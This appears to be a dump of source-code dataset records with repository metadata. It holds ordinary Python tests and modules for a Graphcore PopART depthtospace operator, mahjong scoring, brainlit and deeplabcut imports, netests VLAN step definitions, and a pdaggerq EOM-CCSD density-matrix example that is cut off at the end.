3225214343f6d98550b6620e809a3544e8bcbfc6
[ "MIT" ]
61
2020-07-06T17:11:46.000Z
2022-03-12T14:42:51.000Z
tests/integration/operators_test/depthtospace_test.py
gglin001/popart
3225214343f6d98550b6620e809a3544e8bcbfc6
[ "MIT" ]
1
2021-02-25T01:30:29.000Z
2021-11-09T11:13:14.000Z
tests/integration/operators_test/depthtospace_test.py
gglin001/popart
3225214343f6d98550b6620e809a3544e8bcbfc6
[ "MIT" ]
6
2020-07-15T12:33:13.000Z
2021-11-07T06:55:00.000Z
# Copyright (c) 2020 Graphcore Ltd. All rights reserved. import numpy as np import popart import torch from op_tester import op_tester def test_depthtospace(op_tester): # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiOnnxOpset11.depthtospace([i1], blocksize=blocks, mode="CRD") builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(d1) d_shape = tx.size() txr = torch.reshape( tx, (d_shape[0], d_shape[1] // (blocks * blocks), blocks, blocks, d_shape[2], d_shape[3])) txrp = txr.permute(0, 1, 4, 2, 5, 3) out = torch.reshape( txrp, (d_shape[0], d_shape[1] // (blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks)) return [out] op_tester.run(init_builder, reference, 'infer') def test_depthtospace1(op_tester): # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiOnnxOpset11.depthtospace([i1], blocksize=blocks, mode="DCR") builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(d1) d_shape = tx.size() txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] // (blocks * blocks), d_shape[2], d_shape[3])) txrp = txr.permute(0, 3, 4, 1, 5, 2) out = torch.reshape( txrp, (d_shape[0], d_shape[1] // (blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks)) return [out] op_tester.run(init_builder, reference, 'infer') def test_depthtospace_opset1(op_tester): # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) # Opset6 uses v 1 o = builder.aiOnnxOpset6.depthtospace([i1], blocksize=blocks) builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(d1) d_shape = tx.size() txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] // (blocks * blocks), d_shape[2], d_shape[3])) txrp = txr.permute(0, 3, 4, 1, 5, 2) out = torch.reshape( txrp, (d_shape[0], d_shape[1] // (blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks)) return [out] op_tester.run(init_builder, reference, 'infer') def test_depthtospace_custom_op(op_tester): # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiGraphcore.depthtospace([i1], blocksize=blocks, mode="DCR") builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(d1) d_shape = tx.size() txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] // (blocks * blocks), d_shape[2], d_shape[3])) txrp = txr.permute(0, 3, 4, 1, 5, 2) out = torch.reshape( txrp, (d_shape[0], d_shape[1] // (blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks)) return [out] op_tester.run(init_builder, reference, 'infer') def test_depthtospace_grad0(op_tester): d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiOnnxOpset11.depthtospace([i1], blocksize=blocks, mode="CRD") builder.addOutputTensor(o) return [ o, popart.reservedGradientPrefix() + i1, popart.reservedGradientPrefix() + o, ] def reference(ref_data): tx = torch.tensor(d1, requires_grad=True) d_shape = tx.size() txr = torch.reshape( tx, (d_shape[0], d_shape[1] // (blocks * blocks), blocks, blocks, d_shape[2], d_shape[3])) txrp = txr.permute(0, 1, 4, 2, 5, 3) out = torch.reshape( txrp, (d_shape[0], d_shape[1] // (blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks)) d__o = ref_data.getOutputTensorGrad(0) out.backward(torch.tensor(d__o)) return [out, tx.grad, None] op_tester.run(init_builder, reference, 'train') def test_depthtospace_grad1(op_tester): d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiOnnxOpset11.depthtospace([i1], blocksize=blocks, mode="DCR") builder.addOutputTensor(o) return [ o, popart.reservedGradientPrefix() + i1, popart.reservedGradientPrefix() + o, ] def reference(ref_data): tx = torch.tensor(d1, requires_grad=True) d_shape = tx.size() txr = torch.reshape(tx, (d_shape[0], blocks, blocks, d_shape[1] // (blocks * blocks), d_shape[2], d_shape[3])) txrp = txr.permute(0, 3, 4, 1, 5, 2) out = torch.reshape( txrp, (d_shape[0], d_shape[1] // (blocks * blocks), d_shape[2] * blocks, d_shape[3] * blocks)) d__o = ref_data.getOutputTensorGrad(0) out.backward(torch.tensor(d__o)) return [out, tx.grad, None] op_tester.run(init_builder, reference, 'train') def test_spacetodepth0(op_tester): # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) blocks = 2 # SpaceToDepth is the reverse transformation of DepthToSpace. def init_builder(builder): i1 = builder.addInputTensor(d1) o1 = builder.aiOnnxOpset11.depthtospace([i1], blocksize=blocks, mode="DCR") o2 = builder.aiOnnx.spacetodepth([o1], blocksize=blocks) builder.addOutputTensor(o2) return [o2] def reference(ref_data): return [d1] op_tester.run(init_builder, reference, 'infer') def test_spacetodepth1(op_tester): # create test data d1 = np.random.rand(1, 2, 4, 6).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiOnnx.spacetodepth([i1], blocksize=blocks) builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(d1) d_shape = tx.size() txr = torch.reshape(tx, (d_shape[0], d_shape[1], d_shape[2] // blocks, blocks, d_shape[3] // blocks, blocks)) txrp = txr.permute(0, 3, 5, 1, 2, 4) out = torch.reshape(txrp, (d_shape[0], d_shape[1] * blocks * blocks, d_shape[2] // blocks, d_shape[3] // blocks)) return [out] op_tester.run(init_builder, reference, 'infer') def test_spacetodepth_grad1(op_tester): d1 = np.random.rand(1, 2, 4, 6).astype(np.float32) blocks = 2 def init_builder(builder): i1 = builder.addInputTensor(d1) o = builder.aiOnnx.spacetodepth([i1], blocksize=blocks) builder.addOutputTensor(o) return [ o, popart.reservedGradientPrefix() + i1, popart.reservedGradientPrefix() + o, ] def reference(ref_data): tx = torch.tensor(d1, requires_grad=True) d_shape = tx.size() txr = torch.reshape(tx, (d_shape[0], d_shape[1], d_shape[2] // blocks, blocks, d_shape[3] // blocks, blocks)) txrp = txr.permute(0, 3, 5, 1, 2, 4) out = torch.reshape(txrp, (d_shape[0], d_shape[1] * blocks * blocks, d_shape[2] // blocks, d_shape[3] // blocks)) d__o = ref_data.getOutputTensorGrad(0) out.backward(torch.tensor(d__o)) return [out, tx.grad, None] op_tester.run(init_builder, reference, 'train') def test_pixelshuffle0(op_tester): # depthtospace CRD onnx should be same as PixelShuffle pytorch. # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) d2 = np.random.rand(1, 9, 4, 4).astype(np.float32) block1 = 2 block2 = 3 testData = [d1, d2] blocks = [block1, block2] for di, blocki in zip(testData, blocks): def init_builder(builder): i1 = builder.addInputTensor(di) o = builder.aiOnnxOpset11.depthtospace([i1], blocksize=blocki, mode="CRD") builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(di) pixel_shuffle = torch.nn.PixelShuffle(blocki) out = pixel_shuffle(tx) return [out] op_tester.run(init_builder, reference, 'infer') def test_pixelshuffle_custom(op_tester): # depthtospace CRD onnx should be same as PixelShuffle pytorch. # create test data d1 = np.random.rand(1, 8, 2, 3).astype(np.float32) d2 = np.random.rand(1, 9, 4, 4).astype(np.float32) block1 = 2 block2 = 3 testData = [d1, d2] blocks = [block1, block2] for di, blocki in zip(testData, blocks): def init_builder(builder): i1 = builder.addInputTensor(di) o = builder.aiGraphcoreOpset1.depthtospace([i1], blocksize=blocki, mode="CRD") builder.addOutputTensor(o) return [o] def reference(ref_data): tx = torch.tensor(di) pixel_shuffle = torch.nn.PixelShuffle(blocki) out = pixel_shuffle(tx) return [out] op_tester.run(init_builder, reference, 'infer')
33.965079
79
0.538275
1,274
10,699
4.387755
0.087912
0.077281
0.060107
0.064401
0.916279
0.916279
0.913953
0.913953
0.892487
0.884794
0
0.043577
0.341527
10,699
314
80
34.073248
0.749894
0.036452
0
0.894309
0
0
0.007674
0
0
0
0
0
0
1
0.134146
false
0
0.01626
0.004065
0.239837
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
27d81aedc1358d7cf3be0f750049a9fb55ea5d47
2,640
py
Python
mahjonggscoring/rules/test/test_two_concealed_kongs.py
kajiki/py-mahjongg-scoring
b23202de018a8206a4be5594247faa0754e7e54e
[ "MIT" ]
null
null
null
mahjonggscoring/rules/test/test_two_concealed_kongs.py
kajiki/py-mahjongg-scoring
b23202de018a8206a4be5594247faa0754e7e54e
[ "MIT" ]
null
null
null
mahjonggscoring/rules/test/test_two_concealed_kongs.py
kajiki/py-mahjongg-scoring
b23202de018a8206a4be5594247faa0754e7e54e
[ "MIT" ]
null
null
null
import unittest2 from mahjonggscoring.rules import TwoConcealedKongs from mahjonggscoring import Hand class TestTwoConcealedKongsPartial(unittest2.TestCase): def setUp(self): data = [["W", "W", "W"], ["8#", "8#", "8#", "8#"], ["3#", "3#", "3#", "3#"], ["2/", "2/", "2/"], ["3●", "3●"]] hand = Hand(data, {"concealed": [False, True, True, True, False]}) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() def test_passed(self): self.assertTrue(self.passed) def test_points(self): self.assertEqual(self.examination.points, 8) class TestTwoConcealedKongsAll(unittest2.TestCase): def setUp(self): data = [["W", "W", "W"], ["8#", "8#", "8#", "8#"], ["3#", "3#", "3#", "3#"], ["2/", "2/", "2/"], ["3●", "3●"]] hand = Hand(data, {"concealed": True}) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() def test_passed(self): self.assertTrue(self.passed) def test_points(self): self.assertEqual(self.examination.points, 8) class TestNotTwoConcealedKongs(unittest2.TestCase): def test_not_kong(self): data = [["6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]] hand = Hand(data, {"concealed": [False, True, True, True, False]}) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() self.assertFalse(self.passed) def test_none_concealed(self): data = [["6/", "6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]] hand = Hand(data) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() def test_no_concealed_kongs(self): data = [["6/", "6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]] hand = Hand(data, {"concealed": [False, True, False, True, False]}) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() self.assertFalse(self.passed) def test_one_concealed(self): data = [["6/", "6/", "6/", "6/"], ["2/", "3/", "4/"], ["F", "F", "F", "F"], ["2/", "3/", "4/"], ["8/", "8/"]] hand = Hand(data, {"concealed": [True, True, False, True, False]}) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() self.assertFalse(self.passed) def test_special_hand(self): data = [["5/", "5/", "3/", "3/", "7/", "7/", "8/", "8/", "6/", "6/", "7/", "7/", "5/", "5/"]] hand = Hand(data) self.examination = TwoConcealedKongs(hand) self.passed = self.examination.evaluate() self.assertFalse(self.passed) if __name__ == '__main__': unittest2.main()
39.402985
112
0.586364
341
2,640
4.483871
0.13783
0.156965
0.015697
0.164814
0.815566
0.805101
0.805101
0.805101
0.805101
0.801177
0
0.04141
0.140152
2,640
67
113
39.402985
0.630396
0
0
0.672727
0
0
0.093904
0
0
0
0
0
0.145455
1
0.2
false
0.272727
0.054545
0
0.309091
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
27e564cf742af0722d9c6383fba57e7c562b3e57
99
py
Python
brainlit/preprocessing/__init__.py
NeuroDataDesign/brainl
fc99f59a9d835039dac713a028ac2521ac217e95
[ "Apache-2.0" ]
null
null
null
brainlit/preprocessing/__init__.py
NeuroDataDesign/brainl
fc99f59a9d835039dac713a028ac2521ac217e95
[ "Apache-2.0" ]
6
2020-01-31T22:21:10.000Z
2020-01-31T22:24:59.000Z
brainlit/preprocessing/__init__.py
NeuroDataDesign/brainl
fc99f59a9d835039dac713a028ac2521ac217e95
[ "Apache-2.0" ]
null
null
null
from brainlit.preprocessing.image_process import * from brainlit.preprocessing.preprocess import *
33
50
0.858586
11
99
7.636364
0.636364
0.285714
0.595238
0
0
0
0
0
0
0
0
0
0.080808
99
2
51
49.5
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
27ea017c6957aa455a13e3aca71358ec164e0aa1
15,531
py
Python
tests/features/steps/vlan_tests.py
Netests/netests
1a48bda461761c4ec854d6fa0c38629049009a4a
[ "MIT" ]
14
2020-06-08T07:34:59.000Z
2022-03-14T08:52:03.000Z
tests/features/steps/vlan_tests.py
Netests/netests
1a48bda461761c4ec854d6fa0c38629049009a4a
[ "MIT" ]
null
null
null
tests/features/steps/vlan_tests.py
Netests/netests
1a48bda461761c4ec854d6fa0c38629049009a4a
[ "MIT" ]
3
2020-06-19T03:57:05.000Z
2020-06-22T22:46:42.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from behave import given, when, then from netests.comparators.vlan_compare import _compare_vlan from netests.protocols.ipv4 import IPV4, IPV4Interface from netests.protocols.ipv6 import IPV6, IPV6Interface from netests.protocols.vlan import VLAN, ListVLAN from netests.converters.vlan.cumulus.ssh import _cumulus_vlan_ssh_converter from netests.constants import NOT_SET, VLAN_DATA_HOST_KEY, FEATURES_SRC_PATH from netests.tools.file import open_file, open_json_file @given(u'A network protocols named VLAN defined in netests/protocols/vlan.py') def step_impl(context): context.test_not_implemented = list() @given(u'I create a VLAN object equals to Arista manually named o0001') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Arista API output named o0002') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Arista Netconf named o0003') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Arista SSH output named o0004') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to Cumulus manually named o0101') def step_impl(context): context.o0101 = ListVLAN( vlan_lst=list() ) context.o0101.vlan_lst.append( VLAN( id="999", name="NETESTS_VLAN_MGMT", vrf_name=NOT_SET, ipv4_addresses=IPV4Interface( ipv4_addresses=[ IPV4( ip_address="192.168.1.1", netmask="255.255.255.0" ) ] ), ipv6_addresses=IPV6Interface( ipv6_addresses=[ IPV6( ip_address="2001:cafe::1", netmask="64" ) ] ), assigned_ports=['swp1', 'swp2', 'swp3'], options={} ) ) @given(u'I create a VLAN object from a Cumulus API output named o0102') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Cumulus Netconf named o0103') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Cumulus SSH output named o0104') def step_impl(context): context.o0104 = _cumulus_vlan_ssh_converter( hostname="leaf01", cmd_output=open_json_file( path=( f"{FEATURES_SRC_PATH}outputs/vlan/cumulus/ssh/" "cumulus_ssh_net_show_interface_all.json" ) ), options={} ) @given(u'I create a VLAN object equals to Extreme VSP manually named o0201') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Extreme VSP API output named o0202') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Extreme VSP Netconf output named o0203') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Extreme VSP SSH output named o0204') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to IOS manually named o0301') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a IOS API output named o0302') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a IOS Netconf named o0303') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a IOS SSH named o0304') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to IOS-XR manually named o0401') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a IOS-XR API output named o0402') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a IOS-XR Netconf output named o403') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a IOS-XR SSH output named o0404') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to Juniper manually named o0501') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Juniper API output named o0502') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Juniper Netconf output named o0503') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a Juniper SSH output named o0504') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to NAPALM manually named o0601') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NAPALM output named o0602') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to NXOS manually named o0701') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NXOS API output named o0702') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NXOS Netconf output named o0703') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NXOS SSH output named o0704') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object equals to NXOS only one manually named o0711') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NXOS only one API output named o0712') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NXOS only one Netconf output named o0713') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I create a VLAN object from a NXOS only one SSH output named o0714') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0001 should be equal to o0002') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0001 should be equal to o0003') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0001 should be equal to o0004') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0002 should be equal to o0003') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0002 should be equal to o0004') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0003 should be equal to o0004') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0002') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0003') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0004') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0101 should be equal to o0102') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0101 should be equal to o0103') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0101 should be equal to o0104') def step_impl(context): assert context.o0101 == context.o0104 @given(u'VLAN o0102 should be equal to o0103') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0102 should be equal to o0104') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0103 should be equal to o0104') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0102') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0103') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0104') def step_impl(context): assert _compare_vlan( host_keys=VLAN_DATA_HOST_KEY, hostname="leaf01", groups=['linux'], vlan_host_data=context.o0104, test=True ) @given(u'VLAN o0201 should be equal to o0202') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0201 should be equal to o0203') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0201 should be equal to o0204') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0202 should be equal to o0203') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0202 should be equal to o0204') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0203 should be equal to o0204') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0202') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0203') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0204') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0301 should be equal to o0302') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0301 should be equal to o0303') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0301 should be equal to o0304') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0302 should be equal to o0303') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0302 should be equal to o0304') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0303 should be equal to o0304') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0302') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0303') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0304') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0401 should be equal to o0402') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0401 should be equal to o0403') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0401 should be equal to o0404') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0402 should be equal to o0403') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0402 should be equal to o0404') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0403 should be equal to o0404') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0402') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0403') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0404') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0501 should be equal to o0502') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0501 should be equal to o0503') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0501 should be equal to o0504') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0502 should be equal to o0503') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0502 should be equal to o0504') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0503 should be equal to o0504') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0502') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0503') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0504') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0601 should be equal to o0602') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0701 should be equal to o0702') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0701 should be equal to o0703') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0701 should be equal to o0704') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0702 should be equal to o0703') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0702 should be equal to o0704') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0703 should be equal to o0704') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0702') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0703') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN YAML file should be equal to o0704') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0711 should be equal to o0712') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0711 should be equal to o0713') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0711 should be equal to o0714') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0712 should be equal to o0713') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0712 should be equal to o0714') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'VLAN o0713 should be equal to o0714') def step_impl(context): context.scenario.tags.append("own_skipped") @given(u'I Finish my VLAN tests and list tests not implemented') def step_impl(context): print("| The following tests are not implemented :") for test in context.test_not_implemented: print(f"| {test}")
26.458262
81
0.724487
2,389
15,531
4.60067
0.068648
0.057866
0.106087
0.173597
0.837321
0.832772
0.830043
0.830043
0.825585
0.819762
0
0.052794
0.163351
15,531
586
82
26.503413
0.793058
0.002769
0
0.575676
0
0
0.389061
0.006974
0
0
0
0
0.005405
1
0.286486
false
0
0.021622
0
0.308108
0.005405
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
8
fd99ccd10f9cfe173e643ab88b5359f90ce09b59
284
py
Python
deeplabcut/utils/__init__.py
serre-lab/deeplabcut_mgh
aa37b104ba4967932528d4f79665648474f51112
[ "MIT" ]
null
null
null
deeplabcut/utils/__init__.py
serre-lab/deeplabcut_mgh
aa37b104ba4967932528d4f79665648474f51112
[ "MIT" ]
1
2019-12-15T00:37:15.000Z
2019-12-15T00:37:15.000Z
deeplabcut/utils/__init__.py
kalpitthakkar/deeplabcut_mgh_pose
8fa4a59f422ff0357552e290230838239edcfe1b
[ "MIT" ]
null
null
null
from deeplabcut.utils.make_labeled_video import * from deeplabcut.utils.auxiliaryfunctions import * from deeplabcut.utils.video_processor import * from deeplabcut.utils.plotting import * from deeplabcut.utils.conversioncode import * from deeplabcut.utils.frameselectiontools import *
40.571429
50
0.852113
33
284
7.242424
0.363636
0.351464
0.476987
0.523013
0
0
0
0
0
0
0
0
0.084507
284
7
50
40.571429
0.919231
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
fd9bad08889f154cdac8e8ddd94a761c3f1be223
6,991
py
Python
examples/eom_ccsd_d1_by_hand.py
maxscheurer/pdaggerq
e9fef3466e0d0170afc3094ab79e603200e78dfb
[ "Apache-2.0" ]
37
2020-09-17T19:29:18.000Z
2022-03-03T16:29:16.000Z
examples/eom_ccsd_d1_by_hand.py
maxscheurer/pdaggerq
e9fef3466e0d0170afc3094ab79e603200e78dfb
[ "Apache-2.0" ]
7
2021-02-28T19:22:12.000Z
2022-02-22T15:17:47.000Z
examples/eom_ccsd_d1_by_hand.py
maxscheurer/pdaggerq
e9fef3466e0d0170afc3094ab79e603200e78dfb
[ "Apache-2.0" ]
6
2021-02-16T22:34:29.000Z
2021-12-04T19:37:23.000Z
# elements of the one-electron reduced density matrix # at the EOM-CCSD level of theory: D(pq) = <0|(l0 + l1 + l2) e(-T) p*q e(T) (r0 + r1 + r2)|0> import pdaggerq pq = pdaggerq.pq_helper("fermi") left_hand_operators = ['l0','l1','l2'] right_hand_operators = ['r0','r1','r2'] print('') print(' D1(m,n) = <0|(l0 + l1 + l2) e(-T) e(m,n) e(T) (r0 + r1 + r2)|0>') print('') Dop = 'e1(m,n)' for L in left_hand_operators: for R in right_hand_operators: # L e R pq.add_operator_product(1.0,[L,Dop,R]) # L [h, T2] R t2 = 't2' pq.add_operator_product( 1.0,[L,Dop,t2,R]) pq.add_operator_product(-1.0,[L,t2,Dop,R]) # L [h, T1] R t1 = 't1' pq.add_operator_product( 1.0,[L,Dop,t1,R]) pq.add_operator_product(-1.0,[L,t1,Dop,R]) # L [[e, T2], T2] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't2' C = 't2' pq.add_operator_product( 1.0/2.0,[L,A,B,C,R]) pq.add_operator_product(-1.0/2.0,[L,B,A,C,R]) pq.add_operator_product(-1.0/2.0,[L,C,A,B,R]) pq.add_operator_product( 1.0/2.0,[L,C,B,A,R]) # L [[e, T1], T2] + [[e, T2], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - BAC - CAB + CBA A = Dop B = 't1' C = 't2' pq.add_operator_product( 1.0,[L,A,B,C,R]) pq.add_operator_product(-1.0,[L,B,A,C,R]) pq.add_operator_product(-1.0,[L,C,A,B,R]) pq.add_operator_product( 1.0,[L,C,B,A,R]) # L [[e, T1], T1] R #[A,B],C] = [A,B]C - C[A,B] = ABC - 